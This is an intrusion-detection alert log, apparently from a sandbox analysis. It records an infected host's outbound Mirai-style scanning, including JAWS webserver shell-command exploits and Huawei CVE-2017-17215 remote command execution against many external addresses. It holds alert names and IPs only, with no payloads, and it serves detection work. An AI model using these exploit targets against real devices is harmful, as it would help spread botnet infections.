Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:54094 -> 72.225.88.243:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:44982 -> 222.90.251.56:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:42104 -> 208.31.172.229:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46008 -> 104.58.180.174:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:46008 -> 104.58.180.174:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:50870 -> 68.220.201.40:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:50870 -> 68.220.201.40:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:37702 -> 17.32.205.241:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:44130 -> 153.132.207.208:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:37702 -> 17.32.205.241:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:44130 -> 153.132.207.208:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:60772 -> 25.152.41.191:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46840 -> 175.49.180.42:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36272 -> 135.46.162.119:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:53258 -> 143.1.161.253:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:53258 -> 143.1.161.253:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:37280 -> 117.121.66.73:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:37280 -> 117.121.66.73:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:54572 -> 198.38.116.108:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34032 -> 107.83.132.43:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:60772 -> 25.152.41.191:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:34032 -> 107.83.132.43:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:41714 -> 24.25.114.92:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36958 -> 131.235.143.94:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:43980 -> 209.100.72.91:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:43980 -> 209.100.72.91:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:54572 -> 198.38.116.108:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:42050 -> 53.56.132.164:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36278 -> 140.76.233.172:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:44854 -> 147.91.195.83:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:36278 -> 140.76.233.172:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:42050 -> 53.56.132.164:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:41714 -> 24.25.114.92:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49824 -> 91.197.211.245:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:36958 -> 131.235.143.94:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49824 -> 91.197.211.245:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:35848 -> 91.155.223.28:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:40318 -> 116.90.216.16:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:44854 -> 147.91.195.83:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:36272 -> 135.46.162.119:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:46840 -> 175.49.180.42:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:32788 -> 210.224.115.209:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:44198 -> 133.93.157.217:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:35848 -> 91.155.223.28:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:60088 -> 149.107.115.43:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36114 -> 188.133.193.96:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:32788 -> 210.224.115.209:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34298 -> 171.252.203.211:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:55696 -> 179.248.90.42:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:60088 -> 149.107.115.43:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:36114 -> 188.133.193.96:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:41304 -> 198.232.64.46:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:55696 -> 179.248.90.42:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:41304 -> 198.232.64.46:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46420 -> 9.180.191.186:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:42484 -> 161.102.222.250:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:39716 -> 49.77.113.70:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49368 -> 102.240.78.54:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:39716 -> 49.77.113.70:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49368 -> 102.240.78.54:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:34298 -> 171.252.203.211:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:56916 -> 167.200.167.59:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:44198 -> 133.93.157.217:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:56916 -> 167.200.167.59:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:59808 -> 57.228.96.252:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:59808 -> 57.228.96.252:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:41198 -> 151.218.77.28:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:40318 -> 116.90.216.16:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:41198 -> 151.218.77.28:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:46420 -> 9.180.191.186:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:58636 -> 193.72.105.248:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:60148 -> 75.168.217.172:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:60148 -> 75.168.217.172:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:58636 -> 193.72.105.248:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:33268 -> 173.24.42.205:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:33268 -> 173.24.42.205:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:51430 -> 46.58.44.127:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:51430 -> 46.58.44.127:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:42484 -> 161.102.222.250:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:58110 -> 194.205.234.80:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:58110 -> 194.205.234.80:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:42914 -> 187.176.140.22:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:42914 -> 187.176.140.22:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49520 -> 98.25.199.244:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49520 -> 98.25.199.244:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:52730 -> 189.216.187.204:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:52730 -> 189.216.187.204:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:33698 -> 151.151.138.25:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:33698 -> 151.151.138.25:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:50466 -> 58.102.104.193:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:50466 -> 58.102.104.193:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:41212 -> 179.68.194.15:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:41212 -> 179.68.194.15:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37104 -> 156.250.105.136:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:52558 -> 31.21.65.53:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:52558 -> 31.21.65.53:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52808 -> 156.86.234.58:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57104 -> 41.108.224.37:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37276 -> 156.244.45.27:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:45150 -> 133.63.178.6:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:45150 -> 133.63.178.6:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36564 -> 197.37.72.160:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:58844 -> 185.216.10.132:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:58844 -> 185.216.10.132:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51112 -> 156.212.166.164:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:47266 -> 176.26.30.177:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:47266 -> 176.26.30.177:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38186 -> 156.239.237.253:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:39288 -> 74.35.52.248:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:39288 -> 74.35.52.248:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49020 -> 156.169.58.205:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49584 -> 187.204.196.52:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49584 -> 187.204.196.52:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48506 -> 41.240.141.100:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:44260 -> 155.19.58.203:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:44260 -> 155.19.58.203:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46644 -> 75.200.133.91:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:46644 -> 75.200.133.91:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57444 -> 156.236.248.144:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43326 -> 197.218.128.208:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59750 -> 156.122.27.250:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60062 -> 41.128.37.85:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37736 -> 197.5.188.189:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:53880 -> 177.194.0.8:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:53880 -> 177.194.0.8:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36740 -> 41.16.63.1:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45150 -> 156.105.67.185:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59668 -> 41.228.113.122:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55094 -> 41.189.231.37:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51776 -> 41.49.0.88:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51606 -> 197.92.190.171:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46368 -> 197.56.18.130:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49836 -> 110.16.12.243:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49836 -> 110.16.12.243:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50048 -> 156.118.48.47:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36252 -> 41.152.11.152:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42330 -> 41.137.151.118:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55100 -> 197.90.78.234:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53248 -> 156.0.51.221:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35474 -> 156.80.96.190:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40860 -> 156.169.107.116:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49154 -> 94.254.17.127:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49154 -> 94.254.17.127:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46170 -> 161.216.103.69:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:46170 -> 161.216.103.69:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:44690 -> 86.186.132.2:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:44690 -> 86.186.132.2:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43506 -> 41.96.50.253:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40196 -> 41.12.125.38:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39536 -> 41.165.212.160:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45952 -> 41.190.123.206:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:43790 -> 171.47.88.206:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:43790 -> 171.47.88.206:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52236 -> 197.186.242.181:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50344 -> 156.18.204.135:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54060 -> 41.151.4.214:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58186 -> 197.66.150.113:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54100 -> 41.45.188.67:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37682 -> 156.127.107.233:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49560 -> 197.122.144.12:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47230 -> 197.202.99.160:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49298 -> 41.248.9.85:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47226 -> 156.168.94.120:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35506 -> 156.119.58.82:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57350 -> 41.53.129.146:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48928 -> 41.187.34.4:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35662 -> 197.110.244.192:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41354 -> 156.255.28.70:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35886 -> 156.107.106.233:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45166 -> 197.145.67.62:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53774 -> 197.1.30.153:37215
